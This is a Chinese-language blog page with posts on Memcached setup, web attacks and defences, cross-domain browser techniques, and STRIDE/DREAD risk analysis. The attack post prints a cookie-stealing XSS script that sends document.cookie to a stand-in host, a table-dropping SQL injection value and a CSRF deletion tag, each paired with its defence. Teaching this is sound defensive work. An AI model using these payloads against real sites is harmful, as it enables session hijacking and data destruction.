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          2015年4月17日 #

          互聯網上的應用、網站,隨著用戶的增長,功能的增強,會導致服務器超載,響應變慢等問題。緩存技術是減輕服務器壓力、加快服務響應時間、提升用戶體驗的有效途徑。Memcached是非常流行的緩存系統,這里介紹對Memcached的安裝、設定,以及在集群環境下的使用。

          Memcached簡介

          Memcached是一個開源、高性能、分布式的內存緩存系統,用于加速動態網站的訪問,減輕數據庫負載。

          Memcached使用了Slab Allocator的機制分配、管理內存,解決了內存碎片的問題。

          Memcached雖然可以在多線程模式下運行,但線程數通常只需設定為與CPU數量相同,這一點與Nginx的設定類似。

          Memcached使用

          安裝:

          在CentOS下使用下面的命令安裝:

          sudo yum install memcached 

          啟動:

          memcached -m 100 -p 11211 -d -t 2 -c 1024 -P /tmp/memcached.pid 

          -m 指定使用的內存容量,單位MB,默認64MB。

          -p 指定監聽的TCP端口,默認11211。

          -d 以守護進程模式啟動。

          -t 指定線程數,默認為4。

          -c 最大客戶端連接數,默認為1024。

          -P 保存PID文件。

          關閉:

          kill `cat /tmp/memcached.pid` 

          測試:

          使用telnet連接memcached服務。

          telnet localhost 11211 

          存儲命令格式:

          set foo 0 0 4 abcd STORED  <command name> <key> <flags> <exptime> <bytes> <data block>  <command name> set, add, replace等 <key> 關鍵字 <flags> 整形參數,存儲客戶端對鍵值的額外信息,如值是壓縮的,是字符串,或JSON等 <exptime> 數據的存活時間,單位為秒,0表示永遠 <bytes> 存儲值的字節數 <data block> 存儲的數據內容 

          讀取命令格式:

          get foo VALUE foo 0 4 abcd END  <command name> <key>  <command name> get, gets。gets比get多返回一個數字,這個數字檢查數據有沒有發生變化,當key對應的數據改變時,gets多返回的數字也會改變。 <key> 關鍵字  返回的數據格式:  VALUE <key> <flags> <bytes> 

          CAS(checked and set):

          cas foo 0 0 4 1 cdef STORED  cas <key> <flags> <exptime> <bytes> <version>  除最后的<version>外,其他參數與set, add等命令相同,<version>的值需要與gets獲取的值相同,否則無法更新。 incr, decr可對數字型數據進行原子增減操作。 

          全局統計信息

          stats STAT pid 10218 STAT time 1432611519 STAT curr_connections 6 STAT total_connections 9 STAT connection_structures 7 STAT reserved_fds 10 STAT cmd_get 5 STAT cmd_set 1 STAT cmd_flush 0 STAT cmd_touch 0 STAT get_hits 3 STAT get_misses 2 STAT delete_misses 0 STAT delete_hits 0 ... END 

          Memcached集群

          Memcached本身不做任何容錯處理,對故障節點的處理方式完全取決于客戶端。對Memcached的客戶端來說,不能使用普通的哈希算法(哈希取模)來尋找目標Server,因為這樣在有緩存節點失效時,會導致大面積緩存數據不可用。如下圖:

          當Server3失效后,客戶端需要根據可用Server數量重新計算緩存的目標Server,這時,Key的哈希值為10的數據被指定為由Server1維護,這時原本Server2上可用的緩存也無效了。

          一致性哈希算法

          一致性哈希算法解決了在動態變化的緩存環境中,定位目標Server的問題,通常的實現可將它想像成一個閉合的環形。如下圖:

          當有節點失效時,不會影響到正常工作的緩存服務器,只有原本分配到失效節點的緩存會被重新分配到下一個節點。如下圖:

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          posted @ 2015-05-31 17:18 老林 閱讀(1579) | 評論 (2)編輯 收藏

          對于一個Web應用來說,可能會面臨很多不同的攻擊。下面的內容將介紹一些常見的攻擊方法,以及面對這些攻擊的防御手段。

          一、跨站腳本攻擊(XSS)

          跨站腳本攻擊的英文全稱是Cross Site Script,為了和樣式表區分,縮寫為XSS。發生的原因是網站將用戶輸入的內容輸出到頁面上,在這個過程中可能有惡意代碼被瀏覽器執行。

          跨站腳本攻擊可以分為兩種:

          1). 反射型XSS

          它是通過誘使用戶打開一個惡意鏈接,服務端將鏈接中參數的惡意代碼渲染到頁面中,再傳遞給用戶由瀏覽器執行,從而達到攻擊的目的。如下面的鏈接:

          http://a.com/a.jsp?name=xss<script>alert(1)</script> 

          a.jsp將頁面渲染成下面的html:

          Hello xss<script>alert(1)</script> 

          這時瀏覽器將會彈出提示框。

          2). 持久型XSS

          持久型XSS將惡意代碼提交給服務器,并且存儲在服務器端,當用戶訪問相關內容時再渲染到頁面中,以達到攻擊的目的,它的危害更大。

          比如,攻擊者寫了一篇帶惡意JS代碼的博客,文章發表后,所有訪問該博客文章的用戶都會執行這段惡意JS。

          Cookie劫持

          Cookie中一般保存了當前用戶的登錄憑證,如果可以得到,往往意味著可直接進入用戶帳戶,而Cookie劫持也是最常見的XSS攻擊。以上面提過的反射型XSS的例子來說,可以像下面這樣操作:

          首先誘使用戶打開下面的鏈接:

          http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 

          用戶打開鏈接后,會加載b.js,并執行b.js中的代碼。b.js中存儲了以下JS代碼:

          var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 

          上面的代碼會向b.com請求一張圖片,但實際上是將當前頁面的cookie發到了b.com的服務器上。這樣就完成了竊取cookie的過程。

          防御Cookie劫持的一個簡單的方法是在Set-Cookie時加上HttpOnly標識,瀏覽器禁止JavaScript訪問帶HttpOnly屬性的Cookie。

          XSS的防御

          1). 輸入檢查

          對輸入數據做檢查,比如用戶名只允許是字母和數字,郵箱必須是指定格式。一定要在后臺做檢查,否則數據可能繞過前端檢查直接發給服務器。一般前后端都做檢查,這樣前端可以擋掉大部分無效數據。

          對特殊字符做編碼或過濾,但因為不知道輸出時的語境,所以可能會做不適當的過濾,最好是在輸出時具體情況具體處理。

          2). 輸出檢查

          對渲染到HTML中內容執行HtmlEncode,對渲染到JavaScript中的內容執行JavascriptEncode。

          另外還可以使用一些做XSS檢查的開源項目。

          二、SQL注入

          SQL注入常常會聽到,它與XSS類似,是由于用戶提交的數據被當成命令來執行而造成的。下面是一個SQL注入的例子:

          String sql = "select * from user where username = '" + username + "'"; 

          像上面的SQL語句,如果用戶提交的username參數是leo,則數據庫執行的SQL為:

          select * from user where username = 'leo' 

          但如果用戶提交的username參數是leo’; drop table user–,那執行的SQL為:

          select * from user where username = 'leo'; drop table user--' 

          在查詢數據后,又執行了一個刪除表的操作,這樣的后果非常嚴重。

          SQL注入的防御

          防止SQL注入最好的方法是使用預編譯語句,如下面所示:

          String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 

          不同語言的預編譯方法不同,但基本都可以處理。

          如果遇到無法使用預編譯方法時,只能像防止XSS那樣對參數進行檢查和編碼。

          三、跨站請求偽造(CSRF)

          跨站請求偽造的英文全稱是Cross Site Request Forgery,是由于操作所需的所有參數都能被攻擊者得到,進而構造出一個偽造的請求,在用戶不知情的情況下被執行。看下面一個例子:

          如果a.com網站需要用戶登錄后可以刪除博客,刪除博客的請求地址如下:

          GET http://a.com/blog/delete?id=1 

          當用戶登錄a.com后,又打開了http://b.com/b.html,其中有下面的內容:

          <img src="http://a.com/blog/delete?id=1"/> 

          這時會以用戶在a.com的身份發送http://a.com/blog/delete?id=1,刪除那篇博客。

          CSRF的防御

          1. 驗證碼

          CSRF是在用戶不知情的情況下構造的網絡情況,驗證碼則強制用戶與應用交互,所以驗證碼可以很好得防止CSRF。但不能什么請求都加驗證碼。

          1. referer檢查

          檢查請求header中的referer也能幫助防止CSRF攻擊,但服務器不是總能拿到referer,瀏覽器可能出于安全或隱私而不發送referer,所以也不常用。倒是圖片防盜鏈中用得很多。

          1. Anti CSRF Token

          更多的是生成一個隨機的token,在用戶提交數據的同時提交這個token,服務器端比對后如果不正確,則拒絕執行操作。

          四、點擊劫持(ClickJacking)

          點擊劫持是從視覺上欺騙用戶。攻擊者使用一個透明的iframe覆蓋在一個網頁上,誘使用戶在該網頁上操作,而實際點擊卻是點在透明的iframe頁面。

          點擊劫持延伸出了很多攻擊方式,有圖片覆蓋攻擊、拖拽劫持等。

          點擊劫持的防御

          針對iframe的攻擊,可使用一個HTTP頭:X-Frame-Options,它有三種可選值:

          • DENY: 禁止任何頁面的frame加載;
          • SAMEORIGIN:只有同源頁面的frame可加載;
          • ALLOW-FROM:可定義允許frame加載的頁面地址。

          針對圖片覆蓋攻擊,則注意使用預防XSS的方法,防止HTML和JS注入。

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          posted @ 2015-04-25 15:40 老林 閱讀(6292) | 評論 (2)編輯 收藏

          一、瀏覽器介紹

          對于Web應用來說,瀏覽器是最重要的客戶端。

          目前瀏覽器五花八門多得不得了,除了Chrome、IE、Firefox、Safari、Opera這些國外的瀏覽器外,百度、騰訊、360、淘寶、搜狗、傲游之類的,反正能做的都做了。

          瀏覽器雖然這么多,但瀏覽器內核主要就以下4種:

          1. Trident:IE使用的內核。
          2. Gecko:Firefox使用的內核。
          3. WebKit:Safair和Chrome使用的內核。WebKit由蘋果發明,Chrome也用了,但是Google又開發了V8引擎替換掉了WebKit中的Javascript引擎。
          4. Presto:Opera使用的內核。

          國內的瀏覽器基本都是雙核瀏覽器,使用基于WebKit的內核高速瀏覽常用網站,使用Trident內核兼容網銀等網站。

          二、同源策略

          同源策略是瀏覽器最基本的安全策略,它認為任何站點的內容都是不安全的,所以當腳本運行時,只被允許訪問來自同一站點的資源。

          同源是指域名、協議、端口都相同。

          如果沒有同源策略,就會發生下面這樣的問題:

          惡意網站用一個iframe把真實的銀行登錄頁放到他的頁面上,當用戶使用用戶名密碼登錄時,父頁面的javascript就可以讀取到銀行登錄頁表單中的內容。

          甚至瀏覽器的1個Tab頁打開了惡意網站,另一個Tab頁打開了銀行網站,惡意網站中的javascript可以讀取到銀行網站的內容。這樣銀行卡和密碼就能被輕易拿走。

          三、跨域訪問

          由于同源策略的原因,瀏覽器對跨域訪問做了很多限制,但有時我們的確需要做跨域訪問,那要怎么辦?主要有以下幾種情況:

          1. iframe的跨域訪問

          同域名下,父頁面可以通過document.getElementById(‘_iframe’).contentWindow.document訪問子頁面的內容,但不同域名下會出現類似下面的錯誤:

          Uncaught SecurityError: Blocked a frame with origin “http://a.com” from accessing a frame with origin “http://b.com”. Protocols, domains, and ports must match.

          有兩種解決方法:

          1). 當主域名相同,子域名不同時,比較容易解決,只需設置相同的document.domain即可。

          如http://a.a.com/a.html使用iframe載入http://b.a.com/b.html,且在a.html中有Javascript要修改b.html中元素的內容時,可以像下面的代碼那樣操作。

          a.html

          <html>
          <head>
          <script>
          document.domain = 'a.com';
          function changeIframeContent() {
          var _iframe = document.getElementById('_iframe');
          var _p = _iframe.contentWindow.document.getElementById('_p');
          _p.innerHTML = 'Content from a.html';
          }
          </script>
          </head>
          <body>
          <iframe id="_iframe" src="http://b.a.com/demo/iframe/subdomain/b.html"></iframe>
          <br>
          <input type="button" value="Change iframe content" onclick="changeIframeContent();"/>
          </body>
          </html>

          b.html

          <html>
          <head>
          <script>
          document.domain = 'a.com';
          </script>
          </head>
          <body>
          <p id="_p">b.html</p>
          </body>
          </html>

          2). 當主域名不同時,就非常麻煩了。大致的方法像下面描述的那樣:

          • a.com下有a.html;
          • a.html創建iframe加載b.com下的b.html,可在加載b.html時通過?或#將參數傳遞到b.html中;
          • b.html加載后,可以通過提取location.search或location.hash中的內容獲取a.html傳過來的參數;
          • b.html創建一個iframe,加載a.com下的c.html,并且參數也通過?或#傳給c.html;
          • 因為c.html和a.html是相同域名,所以c.html可以使用parent.parent訪問到a.html的對象,這樣也就可以將b.html需要傳遞的參數傳回到a.html中。

          2. Ajax的跨域訪問

          Ajax主要通過XMLHttpRequest對象實現,但是如果通過XMLHttpRequest訪問不同域名下的數據,瀏覽器會出現類似下面的錯誤:

          XMLHttpRequest cannot load http://b.com/demo/iframe/ajax/b.html. No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://a.com’ is therefore not allowed access.

          這時可由以下兩種方法解決:

          1). 使用<script>代替XMLHttpRequest,也就是JSONP的方法。利用<script>標簽的src下加載的js不受同源策略限制,并且加載后的js運行在當前頁面的域下,所以可自由操作當前頁面的內容。

          下面的代碼演示了在a.com下的a.html通過b.com下的b.js中的內容來更新自身的p標簽。

          a.html

          <html>
          <head>
          <script>
          function update_p (content) {
          document.getElementById("_p").innerHTML = content;
          }
          function getFromB() {
          var _script = document.createElement("script");
          _script.type = "text/javascript";
          _script.src = "http://b.com/demo/ajax/b.js";
          document.getElementsByTagName("head")[0].appendChild(_script);
          }
          </script>
          </head>
          <body>
          <p id="_p">a.html</p>
          <input type="button" value="Get from b.com" onclick="getFromB()"/>
          </body>
          </html>

          b.js

          update_p("content from b.js"); 

          在實際使用中,通常a.html會將update_p以callback參數名傳遞給b.com的服務器,服務器動態生成數據后,再用callback參數值包起來作為響應回傳給a.html。

          2). 在b.com的服務器返回信息中增加以下頭信息:

          • Access-Control-Allow-Origin: http://a.com
          • Access-Control-Allow-Methods: GET

          此時瀏覽器便允許a.com讀取使用GET請求b.com的內容。

          對于flash來說,會要求在網站根目錄下放一個名為crossdomain.xml的文件,以指明允許訪問的域名來源。文件中的內容類似下面的樣子:

          <cross-domain-policy>
          <allow-access-from domain="*.a.com" />
          </cross-domain-policy>

          3. 使用HTML5的postMessage方法實現跨域訪問

          HTML5增加了跨文檔消息傳輸,下面的例子實現了使用postMessage在不同域間傳遞消息:

          a.html

          <html>
          <head>
          <script>
          function update_b () {
          var _iframe = document.getElementById("_iframe");
          _iframe.contentWindow.postMessage("content from a.html", "http://b.com");
          }
          </script>
          <head>
          <body>
          <iframe id="_iframe" src="http://b.com/demo/html5/b.html"></iframe>
          <br>
          <input type="button" value="Update b.html" onclick="update_b()"></input>
          </body>
          </html>

          b.html

          <html>
          <head>
          <script>
          window.addEventListener("message", function (event) {
          document.getElementById("_p").innerHTML = event.data;
          }, false);
          </script>
          </head>
          <body>
          <p id="_p">b.html</p>
          </body>
          </html>

          在postMessage中要指定接收方的域名,如果發現目標頁面的域名不正確,將拋出類似下面這樣的錯誤:

          Failed to execute ‘postMessage’ on ‘DOMWindow’: The target origin provided (‘http://c.com’) does not match the recipient window’s origin (‘http://b.com’).

          瀏覽器對跨域訪問的限制是出于安全考慮的,所以在使用一些方法實現跨域訪問時要特別小心。

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          posted @ 2015-04-22 00:15 老林 閱讀(32135) | 評論 (6)編輯 收藏

          一、安全的要素

          信息安全的核心問題是要保障數據的合法使用者能夠在任何需要該數據時獲得保密的,沒有被非法更改過的數據。主要有以下幾要素:

          機密性

          • 保證數據內容不能泄露。
          • 用戶的密碼用明文保存,就破壞了機密性。

          完整性

          • 保證數據內容不被篡改。
          • 使用HTTP提交數據時,數據在傳輸過程中被篡改后再發往服務器,就破壞了完整性。

          可用性

          • 保證數據可被正常訪問和使用。
          • 像拒絕服務攻擊(DoS)就是破壞了可用性。

          最基本的安全要素就上面三個,下面還有一些其他的。

          可審計性

          • 記錄對數據產生的操作,用于日后的分析、審查。

          不可抵賴性

          • 首先要保證數據完整性,然后,在傳輸的數據中必須攜帶用于身份識別的信息,且這部分信息在不同主體間不能發生碰撞。

          加密技術的使用

          上一篇《Web安全技術(1)-對加密機制的理解》中提到了三類加密算法,可以應用于某些要素的安全保障。如下面的說明:

          對稱加密

          • 可保障機密性,對數據加密后存儲,可以使沒有密鑰的人員無法獲取數據內容。

          非對稱加密

          • 可以對數據進行加密解密操作,所以也能像對稱加密一樣保障機密性;
          • 因為非對稱加密可以實現數字簽名,所以可以保證數據完整性。另外,由于是使用私鑰簽名,而私鑰只有數據發送方才有,所以如果公鑰可以驗簽成功,則發送方不可抵賴。

          摘要加密

          • 摘要算法可保障數據完整性。

          • 在某些網站的軟件下載頁面里,有時除了下載地址,旁邊還會有一個MD5碼。這個MD5就是對下載的軟件做的摘要加密。在下載完成后,在本機對下載的軟件做MD5,然后和網站上顯示的MD5做比較,如果相同就表示軟件被成功下載,而且下載過程中軟件內容沒有被篡改。
          • 在做系統時,我們也經常會對密碼做摘要加密后再保存,因為摘要加密的一個特性是不可逆,這樣通過數據庫中保存的加密后的密碼不可能還原成用戶的真實密碼。而用戶登錄時,只需將用戶提交的密碼再做摘要加密,然后與數據庫中保存的密碼比較,就能判斷用戶有沒有輸入正確的密碼。

          二、風險分析

          對于數據可能會遇到什么威脅,一般是拍腦袋想一想,也可以使用模型幫忙,下面是一個叫STRIDE的威脅模型:

          如何評估風險?

          數據受到威脅就可能造成損失,但損失有大有小,威脅發生的概率也有高有低,我們要結合具體情況來對風險做出判斷。有一個叫DREAD的模型,可以指導我們如何判斷威脅的風險程度。

          每一個因素都分高、中、低三個等級,權重值分別為3、2、1。

          當有一個威脅時,我們將它在每一個因素中的權重值相加,即可得出風險系數。

          假如我們對風險系數范圍的定義如下:

          高危:12~15分,中危:8~11分,低危:5~7分。

          那如果以使用明文保存密碼為例,風險系數可能像下面這樣計算:

          風險 = D(3) + R(1) + E(1) + A(3) + D(1) = 9分,這就是一個中危風險。

          后續對威脅的處理,應當根據風險的大小和修復的難易程度做出平衡。

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          posted @ 2015-04-17 23:47 老林 閱讀(5011) | 評論 (0)編輯 收藏

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